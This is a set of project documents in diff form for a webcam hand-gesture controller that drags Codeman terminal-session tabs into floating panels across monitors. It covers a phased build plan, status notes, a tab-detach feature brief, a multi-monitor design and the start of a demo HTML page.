- **Web Worker** for inference is a **Phase 4** optimization — do NOT start there. Get it working on the main thread first; only move to a worker if the dashboard UI stutters.
---
## File structure
```
gesture-proto/
├── index.html # demo page: video preview + columns of fake tabs
├── package.json
├── vite.config.ts
├── src/
│ ├── main.ts # wires GestureController -> demo UI
│ ├── gesture/
│ │ ├── GestureController.ts # core: camera + recognizer + state machine + events
│ │ ├── OneEuroFilter.ts # cursor smoothing
│ │ ├── pinch.ts # pinch detection w/ hysteresis
│ │ ├── landmarks.ts # landmark index constants + helpers
│ │ └── types.ts # event payload types, config
│ └── demo/
│ ├── tabs.ts # fake tab/column model + render
│ └── overlay.ts # draws hand skeleton + cursor dot over video (debug)
└── README.md
```
---
## Core algorithms (the parts that decide whether it feels good)
### 1. Cursor from landmarks
The drag cursor is the **midpoint of thumb tip (landmark 4) and index tip (landmark 8)**, in normalized [0,1] coords from MediaPipe.
- **Mirror X** (`x = 1 - x`) — the webcam image is flipped relative to the user.
- Map normalized → screen pixels against the dashboard's bounding rect.
- Run the resulting (x, y) through **two independent One-Euro filters** (one per axis) before using it. Raw landmarks jitter by several pixels even when the hand is still; this is the single most important quality step.
### 2. Pinch detection with hysteresis
Compute euclidean distance between landmark 4 and landmark 8. **Normalize by hand size** (e.g. distance wrist→middle-finger-MCP, landmarks 0→9) so the threshold is robust to how close the hand is to the camera.
- Use **two thresholds, not one** (hysteresis): enter pinch below `PINCH_ON` (e.g. 0.35 of hand size), exit only above `PINCH_OFF` (e.g. 0.5). This stops flickering between grab/release at the boundary — critical for not "dropping" a tab mid-drag.
- Require the pinch state to persist N frames (e.g. 2–3) before firing, to reject single-frame noise.
### 3. State machine
```
IDLE ──hand detected──> HOVER ──pinch on──> GRABBED ──pinch off──> (drop) ──> HOVER
^ | |
└────hand lost───────────┴────────────────hand lost────────────────────────┘
```
- `HOVER`: cursor moves, highlights the tab/column under it (hit-test).
- `GRABBED`: the grabbed tab follows the cursor; emit `drag` events.
- On `pinch off` in GRABBED: hit-test cursor against drop columns, emit `drop {tabId, targetColumnId}` or `dropCancelled` if outside any column.
### 4. Discrete gestures → command bus
From `result.gestures[0].categoryName`, debounced (fire once per gesture entry, not every frame while held):
- `Open_Palm` held ~1s → `command: "halt-all"` (dead-man's-switch — pauses every session; genuinely useful for autonomous loops).
- `Thumb_Up` → `command: "approve"`.
- `Victory` → `command: "new-session"`.
- Map these to the SAME command names your voice layer already dispatches, so both input sources converge on one dispatcher.
---
## GestureController public API (target shape)
```ts
const gc = new GestureController({
video: videoEl,
surface: dashboardEl, // coords mapped against this element's rect
numHands: 1,
pinchOn: 0.35, pinchOff: 0.5,
palmHoldMs: 1000,
});
gc.on("hover", ({ x, y, targetId }) => {...});
gc.on("grab", ({ x, y }) => {...});
gc.on("drag", ({ x, y }) => {...}); // throttled to frame rate
gc.on("drop", ({ targetColumnId }) => {...});
gc.on("command",({ name }) => {...}); // halt-all | approve | new-session
gc.on("status", ({ fps, handPresent, pinchDist }) => {...}); // debug HUD
await gc.start(); // requests camera, loads model
gc.stop();
```
Keep it **transport-agnostic**: it emits semantic events, it does NOT know about
Codeman's DOM. Integration is just subscribing to these events and calling
Codeman's existing tab-move / command functions.
---
## Phased build (each phase is independently testable — stop and feel it before moving on)
**Phase 0 — Scaffold & camera (½ day)**
Vite + TS project. `index.html` with a mirrored `<video>` and a "start" button (camera must be a user gesture). Confirm `getUserMedia` works and you see yourself. Must be served over http(s), not `file://`.
**Phase 1 — Recognizer + debug overlay (½ day)**
Load `GestureRecognizer` (`VIDEO` mode, CDN model+wasm). Run `recognizeForVideo(video, performance.now())` in a `requestAnimationFrame` loop. Draw the 21-point skeleton + an FPS counter on a canvas over the video. **Checkpoint: confirm you're getting ≥25fps on your actual camera/lighting setup.** Tune lighting here.
**Phase 2 — Cursor + pinch (1 day)**
Implement `OneEuroFilter` and `pinch.ts`. Render a cursor dot driven by the filtered thumb/index midpoint. Show live pinch distance in the HUD and a color change on grab. **Checkpoint: the dot is steady when your hand is still, and pinch grab/release is crisp with no flicker.** Tune filter constants (`minCutoff`, `beta`) and pinch thresholds here — this is where the "feel" is won or lost.
**Phase 3 — Drag the fake tabs (1 day)**
Build `tabs.ts`: 3 columns of draggable fake "sessions." Wire the state machine: hover-highlight, grab, drag-follow, drop-with-hit-test. **Checkpoint: you can move a tab across columns reliably 10/10 times.** This is the core demo and the real go/no-go for the whole idea.
**Phase 4 — Discrete commands + polish (1 day)**
Add gesture→command bus with debouncing and the 1s open-palm halt. Add an on-screen toast when a command fires. Optional: move inference to a Web Worker if the UI stutters; add second-hand support.
**Phase 5 — Codeman integration (✅ working, 2026-06-07)**
Drop `gesture/` into Codeman via a new consumer `src/codeman/entry.ts` (the core is unchanged; the demo's `main.ts` is *not* the integration point). It binds `grab`/`drag`/`drop` to real `.session-tab`s (grab-to-detach → `app.detachSession`) and pinch-taps the Run / Run Shell toolbar buttons. Runs in Codeman behind `CODEMAN_GESTURE=1`. See the detailed status under "Implementation status" below.
> **Prerequisite (decided 2026-06-06, ✅ done 2026-06-07): Codeman tab-detach first.**
> Codeman needed a **tab-detach / undock** feature — a session pops out into its
> own browser window — *before* gesture wiring, because gestures can only drag DOM
> *within* the one page that owns the camera (you can't drag a node across isolated
> tabs/OS windows). So undock is a Codeman session-placement op the gesture `drop`
> *triggers*. **Shipped** as `app.detachSession(id)` → `/session/:id` solo window +
> BroadcastChannel sync + re-dock on close (the gesture layer calls it directly).
> Per-monitor placement via `getScreenDetails` stays in the multi-monitor backlog.
---
## Tuning defaults to start from (then adjust by feel)
- One-Euro: `minCutoff ≈ 1.0`, `beta ≈ 0.01` (raise `beta` if drag lags during fast moves; lower `minCutoff` if it's jittery when still).
- Pinch: `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference distance).
- `min_detection_confidence` / `min_tracking_confidence` ≈ 0.6; lower if quick gestures get missed, raise if you get false hands.
- Camera: target 30–60fps, even frontal lighting on the hand zone (matters more than the sensor).
---
## Hardware note
Prototype on the **MacBook M1 Max built-in cam** for zero-friction Phase 0–3.
For the real setup, switch to **iPhone via Continuity Camera** mounted at desk
level aimed at your hand-gesture zone — best sensor + best angle. Decide
front-facing (pointing/pinch-to-grab) vs overhead (swipe/drag-on-a-plane) mount
before Phase 3, since it slightly changes the gesture grammar.
---
## Implementation status (kept current)
- ✅ Phase 0, ✅ Phase 1 — see top-level `CLAUDE.md` and `gesture-proto/README.md`.
- ✅ Phase 1 fps checkpoint — 60fps on MacBook + iPhone 17 Pro (Continuity Camera).
- ✅ Phase 2 — `OneEuroFilter.ts` + `pinch.ts`: filtered cursor dot + pinch hysteresis. Cursor + `pinchDist` + `pinching` on the `status` event; HUD shows pinch distance, cursor ring turns green on grab.
- ✅ Phase 3 — `demo/tabs.ts`: 3 Screen columns of draggable session tabs. Controller owns the per-hand pinch state machine and emits `grab`/`drag`/`drop` in surface pixels (with a `hand` id); the demo hit-tests and moves tabs. Two-handed (drag two tabs at once); drop-on-vanish releases a tab if a pinched hand leaves frame.
- ✅ Beyond plan — two-hand tracking (`numHands: 2`, filters keyed by handedness) and a live camera picker.
- ✅ Camera (2026-06-06) — front-facing iPhone 17 Pro main lens (Chrome) is the default. **The superwide / Desk View (ultra-wide, overhead) camera now works with no issues and tracking is confirmed on it** — the earlier "Safari-only / stretched / unusable" finding is superseded. Pick either via the in-app camera picker.
- ✅ Phase 4 (built) — `commands.ts`: debounced gesture→command bus. `Thumb_Up`→approve, `Victory`→new-session (edge-triggered, fire once per entry), `Open_Palm` held `palmHoldMs`→halt-all (dead-man's-switch) with a 0–1 `haltProgress` charge surfaced on `status`. Commands ignore a pinching (mid-drag) hand.
- ⛔ **Phase 4 unwired in the demo (2026-06-06).** User wants pinch-drag only — an open palm while reaching to pinch kept charging the hold-to-halt. `main.ts` no longer subscribes to `command`/`haltProgress` and the command/charge toasts are gone. The `GestureController` core is untouched and still emits both events, so Phase 5 (or a re-enabled demo) can pick them up unchanged.
- 🐛 **Drag-position fix (2026-06-06).** A `.dragging` tab is `position: absolute`; the `.column`s establish a containing block via `backdrop-filter`, so board-local left/top were offset by the column's own position — tabs in the middle/right columns flew to the right on grab. Fix: `tabs.ts` reparents the floating tab onto `#board` (no filter/transform) for the drag, so the coordinates `moveTo` computes match the containing block.
- ✅ **Phase 5 — WORKING at the desk (2026-06-07).** Prerequisite cleared: Codeman tab-detach/undock works in the runtime (`app.detachSession(id)` is the idempotent hook). The gesture overlay runs live in the real Codeman dashboard on `:5000` and was confirmed by the user (normal tab): fullscreen cam + hand/cursor tracking, undock-by-pinch, and Run/Run Shell taps.
- **Integration shape: in-page overlay, built into Codeman beta.** The gesture `core` (`src/gesture/`) ships **unchanged**; the consumer is `src/codeman/entry.ts`, esbuild-bundled (`npm run build:codeman`) and served by Codeman at `/gesture/gesture-codeman.js`. A full-viewport, click-through overlay maps coords straight to `elementFromPoint`.
- **Gestures (routed by what the pinch lands on):** (a) **grab → in-page floating panel** *(⚠️ pivoted 2026-06-08 — was grab-to-detach)*: pinch a `.session-tab`, a ghost clone follows the hand, pull >`DETACH_PULL_PX` (70) and release → `floatSession(id, x, y)` spawns a re-grabbable `.cg-float` iframe of `/session/:id` (640×420). This **replaced** `window.app.detachSession(id)` (an OS window is a sealed box the hand can't move again — a one-way trip); the float stays in-page so the hand keeps control. See `../../docs/MULTIMONITOR_DESIGN.md`. (b) **Run / Run Shell taps** — pinch over `#runBtn`→`app.run()` / `.btn-shell`→`app.runShell()` and release in place; drift >`TAP_CANCEL_PX` (45) cancels. `CLICK_SELECTOR` is the extensible list. (c) **Fullscreen dimmed cam** by default, **⛶** toggles corner PiP.
- **Self-hosted MediaPipe (no CDN).** `entry.ts` passes `wasmBase: "/gesture/wasm"` + `modelUrl: "/gesture/gesture_recognizer.task"`; Codeman serves them same-origin. The CDN path failed in the normal browser tab (content/ad blocker blocking `jsdelivr`/`googleapis`) → surfaced as `failed: {"isTrusted":true}` once `entry.ts` learned to report non-Error throws. Core also gained a GPU→CPU delegate fallback.
- **Gated by `CODEMAN_GESTURE=1` (OFF by default).** Under the flag Codeman injects the module script (dashboard only, not `/session/:id` solo popups), cache-busts it with `?v=<mtime>` (static is `max-age=1y`), and widens CSP (`'wasm-unsafe-eval'` + `worker-src 'self' blob:`; same-origin assets now covered by `'self'`). Flag off ⇒ Codeman HTML/CSP unchanged.
- **Codeman-side / version control:** the detach + instance isolation + base gesture overlay are committed on `Ark0N/Codeman` branch `beta/session-detach`, open as **PR #103** (tip `afea6d6`; `ceca853` after I fixed its `auth.ts` format:check → CI green). Gotcha: the local prod clone `~/.codeman/app` tracks only `master`, so the branch is hidden until `git fetch origin beta/session-detach` (this briefly misled me into a bogus local reconstruction `03b31b8`, since deleted). The session improvements — direct-detach via `window.app.detachSession`, Run/Run Shell pinch-taps, self-hosted MediaPipe (`/gesture/wasm` + `.task`), and the `server.ts` mtime cache-bust — were **ported onto PR #103** in commit `eea84db` (CI green); their source is `Ark0N/codeman-gesture-control` (`src/codeman/entry.ts`).
- **Commits (gesture-proto):** `ddf9cda` (consumer: detach/cam/errors) → `2dd97da` (detach direct) → `21ef793` (Run/Run Shell taps) → `e055b79` (self-host MediaPipe).
- **Next:** tune feel; optional in-strip reorder (deferred — user chose detach-only) and more buttons (Stop). Discrete `command` events remain available but unwired (pinch-only). Hand-off brief: `../docs/CODEMAN_DETACH_BRIEF.md`.
## Backlog (requested, for later)
- ✅ **Fullscreen mode** — done. Toggle button fullscreens the `#stage`;
`:fullscreen` CSS fills the viewport and the coord mapping adapts since it
reads the stage rect every frame.
- ✅ **Multi-monitor mode — A+C BUILT & validated at the desk (2026-06-08).** The
eventual real goal (fling a Codeman session onto an external display by gesture)
is reached. **Design → [`../../docs/MULTIMONITOR_DESIGN.md`](../../docs/MULTIMONITOR_DESIGN.md)**,
approach **A+C**:
- **A — in-page floating panels** (`581fcf9`, `3e0447a`): `entry.ts`
`floatSession(id, x, y)` pops a tab into a re-grabbable `.cg-float` iframe of
`/session/:id` (640×420) instead of `window.app.detachSession`. The session
stays in the camera-owning page's DOM, so the hand keeps control — fixing the
one-way-trip flaw of OS-window detach.
- **C-span — spanned window** (`063fd8f`, `59946b8`): `scripts/span-codeman.sh`
launches a Brave-first (`BROWSER=` override) `--app` window sized to the
display union; prereq macOS "Displays have separate Spaces" OFF + re-login.
One-click via the **Codeman header button** → `POST /api/system/span-displays`
(PR #103 `95b0035`). **Validated:** one window spans both monitors and a panel
drags across the seam.
- **C-snap** (`getScreenDetails` snapping + seam dead-band) and the **re-dock**
gesture/zone are **still pending** — not needed for basic cross-seam dragging.
- **Concurrent-rendering question** was RESOLVED first: Codeman already mounts
live terminals into floating panels (teammate terminals, log-viewer SSE
windows, the iframe-able `/session/:id` solo route), so the live float needed
no new Codeman rendering.
Note: the public event surface evolved from the original API sketch. The
controller stays transport-agnostic but emits coordinate-only `grab`/`drag`/
`drop` (hit-testing lives in the consumer, since only it knows the DOM/columns).
`hover`/`dropCancelled`/`targetId` were dropped; hover highlighting is derived
from the `status` snapshot instead.
@@ -0,0 +1,80 @@
# Feature brief: Session tab detach / undock (for Codeman)
> ✅ **SHIPPED — on GitHub as PR #103 (open).** Branch `beta/session-detach` on
> `Ark0N/Codeman` (base `master`): "feat(web): session detach/undock + beta
> instance isolation (port 5000)", containing detach/undock + instance isolation
> + the base gesture overlay (commit `afea6d6`). `app.detachSession(id)` in
> `app.js` opens `/session/:id` as a solo window (another live client of the same
> session), tracks it (badge + `BroadcastChannel` sync + re-dock on close), and is
> the single idempotent entry point both the on-tab ⧉ icon and the gesture layer
> call. PTY fan-out (the open question below) resolved **yes**, so no streaming
> work was needed. CI green after I fixed a prettier format:check on `auth.ts`
> (commit `ceca853`).
>
> ⚠️ **Note:** the local **prod** clone `~/.codeman/app` only tracks `master`, so
> the PR branch is invisible there until `git fetch origin beta/session-detach`.
> (Earlier today I briefly mis-concluded the PR didn't exist and made a bogus
> local reconstruction — deleted. The PR was real all along.) The gesture-side
> *improvements* from this session — direct-detach, Run/Run Shell pinch-taps,
> self-hosted MediaPipe, `server.ts` cache-bust — were **ported onto PR #103**
> (commit `eea84db`, CI green); their source is `Ark0N/codeman-gesture-control`.
> The rest of this doc is the original hand-off brief, kept for history.
> Hand-off brief for **Codeman** to refine and implement **on a beta branch**.
> Authored from the gesture-control project, which needs this as a prerequisite.
> Codeman is "aicodeman": a Fastify + WebSocket server streaming xterm.js
> terminal (tmux) sessions to a web dashboard.
## Goal
Let a session "tab" pop out of the main dashboard into its **own browser
window** (and back). Each detached window shows just that one session's
terminal, fully live. This is a standalone UX win *and* a prerequisite for
gesture control later (a hand-gesture "drop" will eventually trigger
detach/relocate — but that's a separate project; **this feature is plain UI
buttons only**).
## Core approach (refine as needed)
- Add a **"Detach" control** on each tab. It opens a new browser window
(`window.open`) pointing at a **single-session view** — ideally a real route
like `/session/:id` so the popup just loads a URL and attaches like a normal
client.
- The detached window runs its **own xterm.js instance connected to the same
session's WebSocket**, so it's live, not a screenshot.
- Keep the dashboard and detached windows **in sync** (session list, titles,
alive/dead state, focus) — via the existing events channel, or a
`BroadcastChannel` if simpler.
- Support **re-dock** (close popup → tab returns to the dashboard) and handle the
popup being closed/refreshed gracefully.
## The one critical question to resolve first (in Codeman's own code)
Can the server currently **fan out one session's PTY/tmux output to multiple
concurrent WebSocket clients**, or is it single-consumer? A detached window is a
*second* viewer of the same session. If it's single-consumer today, that's the
main change: make the pty→socket stream **broadcast to N subscribers** (and merge
input) so dashboard + popup can both watch/type. This likely matters more than
the UI work.
## Other decisions for Codeman
- Per-session route (`/session/:id`) vs. a single-page popup that's told which id
to show.
- Multi-monitor placement later via the Window Management API
(`getScreenDetails`) — **out of scope now**, just don't design against it.
- Auth/cookie sharing so a popup window authenticates the same as the dashboard.
## Constraints
- Implement on a **beta branch**, not `main`.
- The gesture-control side keeps a **read-only** copy of Codeman (its `.git`
removed); the live `Ark0N/Codeman` repo is **not** touched from here. Codeman
implements this itself.
## Why this is sequenced before gesture wiring
Gestures can only drag DOM **within the single page that owns the camera**; you
cannot drag a node across isolated browser tabs / OS windows. So undock must be a
**Codeman session-placement operation** that a gesture `drop` later *triggers* —
not something the gesture layer does. Detach first; wire gestures to it after.
@@ -0,0 +1,260 @@
# Multi-monitor gesture design — in-page panels + spanned window (A + C)
**Status:** **A + C-span BUILT & validated at the desk (2026-06-08).** C-snap
(`getScreenDetails` snapping) still pending. Decided + built 2026-06-08.
**Supersedes** the OS-window detach as the *gesture* verb (see "Why detach
broke movability") — *now actually replaced in `entry.ts`, not just planned.*
**Companion docs:** `CODEMAN_DETACH_BRIEF.md` (the original window.open detach),
`../gesture-proto/docs/BUILD_PLAN.md` (canonical build spec, Phase 5).
> ## Implementation status (2026-06-08)
> - ✅ **A — in-page floating panels.** `entry.ts` `floatSession(id, x, y)` spawns
> a `.cg-float` div with an `<iframe src="/session/:id">` (640×420) at the drop
> point; panels are re-grabbable. Replaces `window.app.detachSession`. Commits
> `581fcf9`, `3e0447a`.
> - ✅ **C-span — spanned window.** `scripts/span-codeman.sh` (Brave-first;
> `BROWSER=` override) launches a `--app` window sized to the display union.
> Commits `063fd8f`, `59946b8`. **Validated at the desk:** one window spans
> both monitors (3432×1080) and a panel drags across the seam.
> - ✅ **Launch entry point in Codeman.** A header "multi-monitor" button (replaces
> the notification bell) → `POST /api/system/span-displays` → spawns the span
> script. Bundled `span-codeman.sh` into Codeman's repo. **PR #103** `95b0035`.
> - ✅ **Cache-bust** all same-origin module scripts/CSS (`renderIndexHtml` →
> `cacheBustAssets`), so frontend edits show on a normal reload. PR #103 `b5ea711`.
> - ⏳ **C-snap** (`getScreenDetails` snapping + seam dead-band) — not built; not
> required for basic cross-seam dragging. Also pending: the re-dock gesture/zone.
> - **Known caveats from the desk run:** dead band on a taller/offset external
> display (inherent to one spanning rect); superwide lens not selectable in the
> fresh span-window browser profile; 3-monitor works unchanged but dead-space +
> cursor-sensitivity caveats grow.
---
## Goal
Pinch a Codeman session, drag it anywhere — including **across a second
physical monitor** — drop it, and have it stay where you put it and stay
grabbable again. The "fling a session onto the external display by gesture"
end-goal from the BUILD_PLAN backlog, made real **without losing the ability to
move a session after you've placed it.**
## The root constraint (why this design, not the others)
The hand only exists in **the one page that owns the camera**. Hand tracking,
the cursor, and `document.elementFromPoint` hit-testing all live in that single
document. **An OS window created by `window.open` is a sealed box that page
cannot reach into** — no shared DOM, no shared cursor.
> **Why detach broke movability.** Today `entry.ts` → `detach(id)` calls
> `window.app.detachSession(id)`, which `window.open`s the session into its own
> OS window. The instant it leaves the camera-owning page, the hand can never
> touch it again. Detach-by-pinch *works*, but it's a one-way trip.
**Rule:** anything you want to keep gesture-movable must stay inside **one
page's DOM.** This design honors that with two composed pieces:
- **A — In-page floating panels.** "Detach" pops a session into a free-floating,
absolutely-positioned element *in the same page* (not an OS window), so the
hand keeps control forever.
- **C — One window spanning both monitors.** Run Codeman in a single window
stretched across both physical displays, so "drag across monitors" is just
"drag across the page," and the second monitor's pixels are actually used.
Option **B** (one OS window per monitor + a distributed BroadcastChannel cursor
protocol + cross-window session hand-off) was considered and deferred: it's the
only path to *independent* per-monitor OS windows, but it's a much larger build
and reintroduces the cross-window wall this design exists to avoid.
---
## Part A — In-page floating panels
### Codeman already has the primitive
`panels-ui.js` has a `.detached` "floating window": an absolutely-positioned
`<div>` with `panel.style.top/left/width/height` and a drag handler
(`setupMonitorDrag`) — **all in-page, no `window.open`.** The session-tab detach
simply picked the wrong primitive (the OS-window one). Part A reuses the
in-page one.
### Concurrent session rendering — RESOLVED (2026-06-08): live floats are feasible now
The main *dashboard view* renders **one active session at a time** (a single
shared `this.terminal` opened into `#terminalContainer` in `terminal-ui.js:26`,
swapped by `selectSession()`). But the page is **not** limited to one terminal —
the PR #103 branch already ships **three independent in-page concurrent
floating-content subsystems** we can reuse, so a live floating panel per session
needs **no new Codeman rendering architecture**:
1. **Teammate terminals** (`panels-ui.js` `teammateTerminals` Map +
`subagent-windows.js`). A `Map` of **concurrent live `new Terminal()`
instances**, each `terminal.open(body)`'d into a floating panel, bound to a
`sessionId` + tmux `paneTarget`, **seeded via REST** buffer fetch
(`/api/sessions/:id/teammate-pane-buffer/:pane`), **input via REST**
(`/api/sessions/:id/teammate-pane-input`), with lazy-mount (`_lazyPaneTarget`)
and `dispose()` cleanup. *This is option 2 already built and shipping.*
2. **Log-viewer windows** (`panels-ui.js:2632`). Concurrent draggable floating
windows, each with its own `EventSource` **SSE stream** and lifecycle map —
proof of the generic "floating window + independent per-window stream"
pattern.
3. **`/session/:id` solo route** (`server.ts:573`, `renderIndexHtml(soloId)`,
`text/event-stream` at `:633`). A full **standalone live session page** —
**iframe-able** — reusing the exact multi-client fan-out detach already
depends on. Solo mode deliberately **omits** the gesture overlay
(`server.ts:1010-1014`), so there's no nested-overlay problem.
**The PTY multi-viewer fan-out is confirmed** (the brief's open "yes"): a session
is addressable by multiple concurrent clients — the solo route, the teammate
REST endpoints, and the on-tab pop-out all view the same live session.
**Resolution:** skip the static-preview fallback. Build live floats directly,
ranked by new-code cost:
- **Primary — iframe the solo route.** `floatPanel(id)` =
`<div class="cg-float" data-id><iframe src="/session/:id"></iframe></div>`.
The iframe is a complete live session view (its own terminal + stream client);
the gesture layer moves the **div** and the iframe rides along. Lowest new
code; reuses proven fan-out; no terminal wiring. Trade-off: a full app shell
per float (heavier — fine for a few, watch memory at many).
- **Richer alt — native teammate-style panel.** Mount a `new Terminal()` in the
float body, seed via the session buffer endpoint, feed via the teammate
stream. Native (no iframe), lighter per-float, same-document. Use if the
iframe feels heavy or you want tighter integration.
Either way the hand only **places** the float; typing into it uses a keyboard
(focus the iframe / native terminal) — consistent with "gesture places,
keyboard types."
### Gesture grammar (replaces the current detach path in `entry.ts`)
The grab/drag/drop plumbing already exists; only the **drop action** changes.
- **Grab** a `.session-tab[data-id]` (unchanged: `onGrab`, ghost-follow).
- **Pull** past `DETACH_PULL_PX` to arm (unchanged: `grab.armed`).
- **Drop while armed** → **no longer** `window.app.detachSession`. Instead spawn
an **in-page floating panel** for that session id at the drop point. New
method `floatPanel(id, x, y)` replacing `detach(id)`.
- **Re-grab** a floating panel (new `PANEL_SELECTOR`, e.g. `.cg-float[data-id]`)
→ move it; drop anywhere → it stays. This is the capability detach lost.
- **Drop a panel back over the tab strip** (or a dock zone) → **re-dock**
(remove the float; session returns to a plain tab). Mirrors the `.detached` →
attach toggle Codeman already has.
- **Keep `window.open` detach as a separate, deliberate verb** — e.g. a button,
or a distinct "throw up and off-screen" gesture — for intentionally parking a
session in its own OS window. It is *not* the default pinch action anymore.
### `entry.ts` change surface
- New state: `floats: Map<string, FloatingPanel>` (id → element + position),
parallel to the existing `grabs`/`taps` maps.
- `onGrab`: extend hit-testing to also match `PANEL_SELECTOR`, so an existing
float can be re-grabbed (priority: panel over tab when overlapping).
- `onDrop`: replace `if (grab.armed) this.detach(grab.id)` with
`this.floatPanel(...)`; add the panel re-dock branch.
- `floatPanel(id, x, y)`: create/show the in-page panel (Part A option 1/2),
position it absolutely at the drop point. Idempotent per id (re-grab moves the
existing one, never duplicates).
- Coordinate mapping is **already viewport-pixel based** (the click-through
surface maps cursor → viewport px), so it needs **no change** for spanning —
see Part C.
---
## Part C — One window spanning both monitors
Once the Codeman window physically covers both displays, Part A's panels drag
across the seam for free, because the gesture cursor is already in viewport
pixels and the viewport now spans both monitors.
### macOS setup (operational, near-zero code)
1. **System Settings → Desktop & Dock → uncheck "Displays have separate
Spaces."** (Requires a logout/login.) This is what lets a single window
straddle two physical displays.
2. Run Codeman **maximized, not fullscreen.** Browser fullscreen is *per
display* and will **not** span — use a maximized/borderless window dragged to
cover both monitors. (A kiosk/`--app` Chrome window sized to the union rect is
the cleanest.) **Automated by `scripts/span-codeman.sh`** — it reads the
display-union rect (Finder desktop bounds) and launches a **Brave-first**
Chromium-family `--app` window sized to it (fresh per-browser profile so the
geometry flags are honored; `BROWSER=` overrides — plain Chrome bounced on the
desk machine). One-click from the **Codeman header "multi-monitor" button**
(`POST /api/system/span-displays`, which spawns this script), or run it
directly. Step 1 + logout is still manual; the script warns if spanning isn't
active.
3. Arrange the two monitors as a contiguous rectangle in Display settings so the
union has no vertical offset gap.
### Coordinate model & the bezel seam
- Enumerate displays with **`window.getScreenDetails()`** (Chrome, secure
context, `window-management` permission). Gives each screen's
`left/top/width/height/availLeft/...` in a **virtual-desktop coordinate
space** spanning all monitors.
- Use it for **screen-edge snapping zones**: e.g. dropping a panel within the
right screen's bounds snaps it to fill that screen; the seam between the two
screens' rects is a "halt / boundary" zone the cursor crosses.
- **Account for the bezel gap.** The two monitors are physically separated, but
the spanned window's pixels are contiguous — a panel dragged across the seam
visually jumps the bezel. Optional: add a dead-band at the seam x-coordinate
so a panel snaps to one side rather than straddling.
- `getScreenDetails` is **only needed for snapping/zone logic**, not for basic
dragging — dragging works the moment the window spans. So Part C can ship in
two steps: (1) just span + free drag, (2) add `getScreenDetails` snapping.
### Constraints to surface to the user
- macOS-specific; the "separate Spaces" toggle is global and affects all apps.
- Real fullscreen is unavailable (must run maximized).
- A bezel-width discontinuity sits in the middle of the coordinate space.
- `window-management` permission prompts once.
---
## Build phases
1. ✅ **A-MVP — in-page live float, single monitor (DONE, `581fcf9`/`3e0447a`).**
`entry.ts` `floatSession(id, x, y)` spawns an **iframe of `/session/:id`** in a
`.cg-float` div (640×420) at the drop point; re-grab + move work (re-dock zone
still TBD). Movability restored — the live session rides inside the page. (The
method is named `floatSession`, not the design-sketch `floatPanel`.)
2. ✅ **C-span — span the window (DONE, `063fd8f`/`59946b8`; validated at desk).**
macOS "separate Spaces" off + `scripts/span-codeman.sh` launches a maximized
`--app` window across the display union (Brave-first; `BROWSER=` override).
**Confirmed:** panels drag across the seam — viewport mapping held with zero
`entry.ts` change. Launchable one-click from the **Codeman header button** →
`POST /api/system/span-displays` (PR #103 `95b0035`), or by running the script.
3. ⏳ **C-snap — screen-aware snapping (pending).** Add `getScreenDetails`; snap a
panel to the screen it's dropped on; add the seam dead-band.
4. **A-alt (optional).** Swap the iframe float for a native teammate-style
`new Terminal()` panel if the iframe shell feels heavy or many floats strain
memory.
## Open questions / verification before coding
- [x] **Concurrent rendering — RESOLVED (2026-06-08).** A live session view
*can* be mounted into an arbitrary in-page container concurrently with the
main view. The PR #103 branch already ships it three ways (teammate terminals,
log-viewer SSE windows, the iframe-able `/session/:id` solo route); fan-out
confirmed. Primary path: iframe the solo route. See the resolved section above.
- [ ] **Native-panel live feed (only if taking A-alt, not the iframe):** trace
the exact transport that pushes *continuous* teammate-pane output after the
REST buffer seed (`pendingData` flush source). The iframe path sidesteps this.
- [ ] **`window.app.detachSession` location:** when wiring the *kept* OS-window
detach verb, note this method was **not found in PR #103 source** (only
server-side `detachSessionListeners`); it works at runtime, so confirm where
it's actually defined before extending it.
- [ ] **Spanning feasibility on the actual desk setup** (monitor arrangement,
whether "separate Spaces" off is acceptable to the user globally).
- [ ] **Re-dock target:** decide the re-dock gesture/zone (drop over tab strip
vs a dedicated dock region).
## Touch-points summary
| Layer | File | Change | Status |
|-------|------|--------|--------|
| Gesture consumer | `gesture-proto/src/codeman/entry.ts` | `detach()` → `floatSession()`; `floats` map; panel re-grab; (later) re-dock branch + `getScreenDetails` snapping | ✅ float+re-grab done (`581fcf9`/`3e0447a`); re-dock/snap pending |
| Gesture core | `gesture-proto/src/gesture/*` | **none** — stays transport-agnostic | ✅ unchanged |
| Codeman — launch | `src/web/routes/system-routes.ts`, `src/web/public/{index.html,panels-ui.js}`, `scripts/span-codeman.sh` | header button → `POST /api/system/span-displays` → spawn span script (bundled into repo) | ✅ PR #103 `95b0035` |
| Codeman — caching | `src/web/server.ts` | `cacheBustAssets()` — `?v=<mtime>` on all same-origin `.js`/`.css` so frontend edits show on normal reload | ✅ PR #103 `b5ea711` |
| Ops | macOS display settings + `scripts/span-codeman.sh` | "separate Spaces" off + re-login; Brave-first maximized spanning window | ✅ validated at desk |
+208
View File
@@ -0,0 +1,208 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Codeman Gesture Control — Phase 4</title>
<style>
:root {
color-scheme: dark;
--bg: #0b0f17;
--panel: #131a26;
--ink: #e6edf3;
--muted: #94a3b8;
--accent: #38bdf8;
}
* { box-sizing: border-box; }
body {
margin: 0;
font-family: ui-sans-serif, system-ui, -apple-system, sans-serif;
background: var(--bg);
color: var(--ink);
min-height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
gap: 1rem;
padding: 1.5rem;
}
h1 { font-size: 1.25rem; margin: 0; font-weight: 650; }
.sub { color: var(--muted); font-size: 0.85rem; margin: 0; }
.stage {
position: relative;
width: min(90vw, 960px);
aspect-ratio: 16 / 9;
background: #000;
border-radius: 12px;
overflow: hidden;
box-shadow: 0 10px 40px rgba(0, 0, 0, 0.5);
}
/* Fullscreen: fill the display so grab targets get big. Coord mapping
reads the stage rect each frame, so it adapts automatically. */
#stage:fullscreen,
#stage:-webkit-full-screen {
width: 100vw;
height: 100vh;
max-width: none;
aspect-ratio: auto;
border-radius: 0;
}
/* Mirror the camera so it reads like a, er, mirror. */
#cam {
position: absolute;
inset: 0;
width: 100%;
height: 100%;
object-fit: cover;
transform: scaleX(-1);
}
/* Overlay is NOT CSS-mirrored; overlay.ts mirrors coords itself.
z-index 2 keeps the cursor + skeleton drawn over the tab board. */
#overlay {
position: absolute;
inset: 0;
width: 100%;
height: 100%;
pointer-events: none;
z-index: 2;
}
/* Phase 3 tab board — overlays the video; gesture-driven, no mouse. */
#board {
position: absolute;
inset: 0;
display: flex;
gap: 12px;
